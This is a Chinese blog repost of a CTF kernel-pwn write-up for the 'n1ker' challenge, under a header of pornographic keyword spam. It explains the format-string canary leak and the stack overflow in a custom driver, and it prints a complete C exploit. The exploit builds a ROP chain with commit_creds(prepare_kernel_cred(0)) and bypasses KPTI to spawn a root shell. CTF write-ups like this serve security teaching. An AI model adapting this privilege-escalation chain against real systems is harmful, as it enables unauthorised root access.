日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

[第六章 CTF之PWN章]n1ker

發布時間:2023/12/8 编程问答 25 豆豆
生活随笔 收集整理的這篇文章主要介紹了 [第六章 CTF之PWN章]n1ker 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

kernal pwn

首先還是看一下start.sh

#! /bin/shqemu-system-x86_64 \ -m 512M \ -kernel ./bzImage \ -initrd ./rootfs.cpio \ -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 kaslr useradd homura" \ -gdb tcp::1234 -S \ -monitor /dev/null \ -nographic 2>/dev/null \ -smp cores=2,threads=1 \ -cpu kvm64,+smep

看到不是單核單線程,那么我們就要小心條件競爭。

看得到開了kaslr,smep。

我們說內核部分的保護分成四個方面。
內核保護從四個方面出發,分別是隔離、訪問控制、異常檢測、隨機化
隔離分為smep用戶代碼不可執行、smap用戶數據不可訪問、KPTI。
隨機化也分為kaslr、fgkaslr。

然后我們我解壓文件系統,看一下init文件。

mkdir core cp rootfs.cpio ./core cd core mv ./rootfs.cpio rootfs.cpio.gz #因為cpio是經過gzip壓縮過的,必須更改名字,gunzip才認識 gunzip ./rootfs.cpio.gz #gunzip解壓一會cpio才可以認識,不然就會報畸形數字 cpio -idmv < ./rootfs.cpio #cpio是解壓指令 -idmv是它的四個參數 #-i或--extract  執行copy-in模式,還原備份檔。 #-d或--make-directories  如有需要cpio會自行建立目錄。 #-v或--verbose  詳細顯示指令的執行過程。 #-m或preserve-modification-time  不去更換文件的更改時間


開了KPTI

#!/bin/sh mkdir /tmp mount -t proc proc /proc mount -t sysfs sysfs /sys mount -t devtmpfs none /dev /sbin/mdev -s mkdir -p /dev/pts mount -vt devpts -o gid=4,mode=620 none /dev/pts cat /proc/kallsyms > /tmp/kallsyms echo 1 > /proc/sys/kernel/kptr_restrict echo 1 > /proc/sys/kernel/dmesg_restrict ifconfig eth0 up udhcpc -i eth0 ifconfig eth0 10.0.2.15 netmask 255.255.255.0 route add default gw 10.0.2.2 insmod n1drv.ko mknod /dev/homuratql666 c 233 0 chmod 666 /dev/homuratql666 mdev -s chmod -R 777 /sys poweroff -d 1200000 -f & setsid /bin/cttyhack setuidgid 1000 /bin/sh echo 'sh end!\n' umount /proc umount /syspoweroff -d 0 -f#setsid /bin/cttyhack setuidgid 0 /bin/sh

那么顯然掛載了那個模塊。
然后也把符號表讀到了/tmp/kallsyms 就不用泄露地址啥的 直接都有
掛載了devpts,可以考慮劫持tty結構體

然后IDA。

ioctl函數。

deadbeef似乎是有一個格式化字符串。


n1drv有個函數
copy_user_generic_unrolled

/** Copy To/From Userspace*//* Handles exceptions in both to and from, but doesn't do access_ok */ __must_check unsigned long copy_user_enhanced_fast_string(void *to, const void *from, unsigned len); __must_check unsigned long copy_user_generic_string(void *to, const void *from, unsigned len); __must_check unsigned long copy_user_generic_unrolled(void *to, const void *from, unsigned len);

也是一個復制拷貝函數。ida里面沒有顯示參數,直接看匯編吧。

講道理應該是三個參數。
第一個call rdi是棧頂。rsi是傳入的user的地址。rdx理所應當就是復制的大小。那這里顯然就有棧溢出。
兩個call一個在棧里 一個在堆里 都復制成功才不報錯
所以一會malloc得稍微大點。

所以我們的思路就還是比較明確的
格式化字符串泄露canary,基地址甚至不需要泄露 它直接放在了/tmp/kallsyms文件夾里,當然泄露泄露也行。
然后直接一個棧溢出。

開了kpti,還需要繞一下。

分步驟淺談一下

setbuf(stdin, 0);setbuf(stdout, 0);setbuf(stderr, 0); //緩沖區關掉,否則會沒有輸出。int fd = open("/dev/homuratql666",O_RDWR);if (fd < 0) {printf("wrong with open /dev/homuratql666");}size_t kernal_base ; size_t canary; size_t rop[0x50];char format[0x100]="0x%llx 0x%llx 0x%llx 0x%llx 0x%llx 0x%llx 0x%llx 0x%llx 0x%llx\n\x00";add(fd, 0x400);write(fd, format, 50);put(fd);getchar();write(1,"input vmlinux addr\n",43);scanf("%llx",&kernal_base);write(1,"input vmlinux canary\n",45);scanf("%llx",&canary);

當然要首先拿到基地址
基地址可以在init里面改了權限

但是這個題直接可以/tmp/kallsyms也可以

輸出的canary等等啥的scanf輸入就行。

然后就是構造rop鏈

exp

#include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <fcntl.h> #include <string.h> #include <sys/types.h> #include <sys/wait.h> #include <sys/ioctl.h> #include <pthread.h>void get_shell(void){ puts("\033[32m\033[1m[+] Backing from the kernelspace.\033[0m");if(getuid()){puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");exit(-1);}puts("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m");system("/bin/sh"); }void add(int fd,int size) {ioctl(fd,0x73311337,size); }void put(int fd) {ioctl(fd,0xDEADBEEF); }unsigned long user_cs, user_ss, user_eflags,user_sp ; void save_stats() {asm("movq %%cs, %0\n""movq %%ss, %1\n""movq %%rsp, %3\n""pushfq\n""popq %2\n":"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp):: "memory");printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n"); }int main() { setbuf(stdin, 0);setbuf(stdout, 0);setbuf(stderr, 0);int fd = open("/dev/homuratql666",O_RDWR);if (fd < 0) {printf("wrong with open /dev/homuratql666");}size_t kernal_base ; size_t canary; size_t rop[100];char format[0x100]="0x%llx 0x%llx 0x%llx 0x%llx 0x%llx 0x%llx 0x%llx 0x%llx 0x%llx\n\x00";add(fd, 0x400);write(fd, format, 50);put(fd);printf("input vmlinux addr\n");scanf("%llx",&kernal_base);printf("input canary\n");scanf("%llx",&canary);kernal_base = kernal_base - 0x1c827f;size_t prepare_kernel_cred = kernal_base + 0x81790;size_t commit_creds = kernal_base + 0x81410;size_t pop_rdi = kernal_base + 0x1388;//pop rdi; ret;size_t push_rax = kernal_base + 0x2599a8;//push rax; pop r12; pop r13; pop r14; pop r15; ret;size_t pop_rbx = kernal_base +0x926;//pop rbx; ret; size_t call_rbx = kernal_base + 0xa001ea;//mov rdi, r12; call rbx; size_t pop_rdx = kernal_base + 0x44f17;//pop rdx; ret;size_t swapgs_restore_regs_and_return_to_usermode = kernal_base + 0xa00985 ;printf("prepare_kernel_cred:0x%llx \n",prepare_kernel_cred);printf("commit_creds:0x%llx \n",commit_creds);save_stats();int i = 0;for(i = 0; i <= 60; i ++) {rop[i] = "aaaaaaaa";}i = 32;rop[i++] = canary; // canaryrop[i++] = canary; // rbprop[i++] = pop_rdi;rop[i++] = 0;rop[i++] = prepare_kernel_cred;rop[i++] = push_rax;rop[i++] = 0;rop[i++] = 0;rop[i++] = 0;rop[i++] = pop_rbx;rop[i++] = pop_rdx;rop[i++] = call_rbx;rop[i++] = commit_creds;rop[i++] = swapgs_restore_regs_and_return_to_usermode;rop[i++] = 0;rop[i++] = 0;rop[i++] = (size_t) get_shell;rop[i++] = user_cs;rop[i++] = user_eflags;rop[i++] = user_sp;rop[i++] = user_ss;write(fd,rop,0x1b0); //copy can't more than rop }

遠程給的時間太短 怪不得零解

本地沒問題。

總結

以上是生活随笔為你收集整理的[第六章 CTF之PWN章]n1ker的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。